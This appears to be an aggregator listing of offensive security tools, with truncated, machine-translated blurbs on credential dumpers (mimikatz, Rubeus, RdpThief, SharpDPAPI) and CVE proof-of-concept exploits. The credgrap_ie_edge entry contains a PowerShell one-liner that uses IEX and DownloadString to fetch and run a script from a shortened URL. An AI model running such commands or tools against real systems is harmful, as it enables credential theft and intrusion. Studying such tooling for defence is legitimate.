creddump7

Information This repo is for my modifications to the original 'creddump' program available at: https://code.google.com/p/creddump/ I did not write the original program. I have combined many patches and fixes I have seen from different forums and user suggestions, as well as modified the usage to...

Rubeus

Rubeus Rubeus is a C toolset for raw Kerberos interaction and abuses. It is heavily adapted from Benjamin Delpy's Kekeo project CC BY-NC-SA 4.0 license and Vincent LE TOUX's MakeMeEnterpriseAdmin project GPL v3.0 license. Full credit goes to Benjamin and Vincent for working out the hard component...

NtDumpBOF

NtDumpBOF BOF port of the tool https://github.com/ricardojoserf/NativeDump written by @ricardojoserf. Import NtDump.cna and run: root@kitploit: ntdump The minidump file will be created in memory and downloaded using CALLBACKFILE and CALLBACKFILEWRITE. Once downloaded the file will be visible at...

CVE-2023-27532

CVE-2023-27532 Veeam Backup and Replication को प्रभावित करने वाले CVE-2023-27532 के लिए POC तकनीकी विश्लेषण इस कमजोरी का तकनीकी मूल कारण विश्लेषण हमारे ब्लॉग पर पाया जा सकता है: https://www.horizon3.ai/veeam-backup-and-replication-cve-2023-27532-deep-dive सारांश यह POC क्रेडेंशियल निकालने के लिए ...

CVE-2022-24707_AnukoTimeTracker_Version-1.20.0_POC

CVE-2022-24707 Anuko Time Tracker Exploit de Injeção SQL Uma ferramenta de avaliação de segurança que demonstra uma vulnerabilidade de injeção SQL no recurso puncher da versão 1.20.0 do Anuko Time Tracker. Esta ferramenta ajuda a fazer dump de todo o banco de dados ttusers e revela cada entrada...

credgrap_ie_edge

credgrapieedge المحتوى: استخراج بيانات الاعتماد المخزنة من Internet Explorer و Edge المؤلف: Florian Hansemann | @HanseSecure | https://hansesecure.de التاريخ: 04/2018 الاستخدام powershell -nop -exec bypass -c "IEX New-Object Net.WebClient.DownloadString'http://bit.ly/2K75g15'" التوصية حل PowerShe...

teamviewer-dumper

TeamViewer-ID und Passwort aus dem Speicher auslesen Getestet auf TeamViewer 13 aktuellste Version: Win10, Win8.1, Win7x64, Win7x32 Installation: root@kitploit: pip3 install frida Du kannst es einfach ausführen oder als eigenständige Binärdatei kompilieren: pyinstaller .\tv-dumper.py --onefile...

RdpThief

RdpThief RdpThief ist eine eigenständige DLL, die, wenn sie in den mstsc.exe-Prozess injiziert wird, API-Hooking durchführt, die Klartext-Anmeldeinformationen extrahiert und in einer Datei speichert. Ein Aggressor-Skript begleitet es, das für die Verwaltung des Zustands, die Überwachung auf neue...

aggrokatz

aggrokatz Was ist das? aggrokatz ist eine Aggressor-Plugin-Erweiterung für CobaltStrike, die es pypykatz ermöglicht, aus der Ferne mit den Beacons zu interagieren. Die aktuelle Version von aggrokatz ermöglicht es pypykatz, LSASS-Dump-Dateien und Registry-Hive-Dateien zu parsen, um...

mysqli

MySQLi.py - SQL Injection cieca basata sul tempo per MySQL MySQLi.py è un progetto personale di pratica, ispirato all'exploit 46635 di Exploit-DB, usato durante la stanza SimpleCTF su TryHackMe. Ciò che ha attirato la mia attenzione nell'exploit originale è stata la sua capacità di estrarre le...

ranger

ranger Ein Werkzeug zur Unterstützung von Sicherheitsexperten beim Zugriff auf und der Interaktion mit entfernten Microsoft Windows-basierten Systemen. Dieses Projekt wurde mit dem Gedanken konzipiert, dass wir weder den Bogen noch den Pfeil erfunden haben, sondern nur eine effizientere Art der...

Internal-Monologue

Attacco Internal Monologue: Recupero degli Hash NTLM senza Toccando LSASS Introduzione Mimikatz, sviluppato da Benjamin Delpy @gentilkiwi, è uno strumento di post-exploitation ben noto, che consente agli avversari di estrarre password in testo chiaro, hash NTLM e ticket Kerberos dalla memoria,...

mimikatz

mimikatz mimikatz è uno strumento che ho creato per imparare il C e fare alcuni esperimenti con la sicurezza di Windows. È ora ben noto per estrarre password in chiaro, hash, codici PIN e ticket Kerberos dalla memoria. mimikatz può anche eseguire pass-the-hash, pass-the-ticket o creare Golden...

SharpDPAPI

SharpDPAPI SharpDPAPI è un port in C di alcune funzionalità DPAPI dal progetto Mimikatz di @gentilkiwi. Non ho ideato questa logica, si tratta semplicemente di un port da Mimikatz per comprendere meglio il processo e renderlo operativo per adattarlo al nostro flusso di lavoro. Il sottoprogetto...

CVE-2017-7921

Hikvision Kamera-Listener & Snapshot-Tool Eigenständiges Tool zum Auflisten von Hikvision-Kameras aus einer Datei und zum Erstellen eines Snapshots von jeder Kamera unter Verwendung gültiger Anmeldedaten HTTP Basic- oder Digest-Auth oder des CVE-Auth-Bypass. Gedacht zum Ausführen auf einem andere...

VULNERAVEL-CVE-2018-14847---CREDENCIAIS-EXTRAIDAS

Strumenti di Pentest — /rede Repository di script per audit e test di penetrazione sulle reti. Utilizzare solo su dispositivi con autorizzazione formale. CVE-2018-14847 — MikroTik Winbox Credential Extractor Descrizione Sfrutta la vulnerabilità di lettura file non autenticata nel servizio Winbox ...

mimikittenz

mimikittenz mimikittenz è uno strumento powershell di post-exploitation che utilizza la funzione Windows ReadProcessMemory per estrarre password in testo chiaro da vari processi target. mimikittenz può anche estrarre facilmente altri tipi di informazioni interessanti dai processi target utilizzan...

CVE-2023-26258-ArcServe

Das TL; DR; Wenn du im Netzwerk bist, kannst du mit ArcServeRadar.py nach standardmäßig konfigurierten Instanzen scannen. Ich habe versucht, es nach C zu portieren, aber es nicht geschafft – wenn du weißt, wie es geht, kannst du das gerne tun : root@kitploit: c:\Users\vagrant\Desktoppython...

ADSyncDump-BOF

ADSyncDump BOF Das ADSyncDump-BOF ist ein Port von Dirkjan Mollemas adconnectdump.py / ADSyncDecrypt in eine Beacon Object File BOF für die Verwendung mit Cobalt Strike, Sliver und Havoc. !NOTE Das Tool wurde auf einem Windows Server 2019 mit Azure AD Connect Version 2.2.1.0 getestet. Die...

CVE-2022-0739

CVE-2022-0739 Proof-of-Concept Exploit SQLI BookingPress vor 1.0.11 Verwendung Geben Sie die URL an, unter der das Booking Press Plugin in der Anwendung verwendet wird. bash exploit.sh '' z.B. Hashes wurden in dieser Demo geschwärzt root@kitploit: ┌──user@user-/ └─$ bash sqliexploit.sh...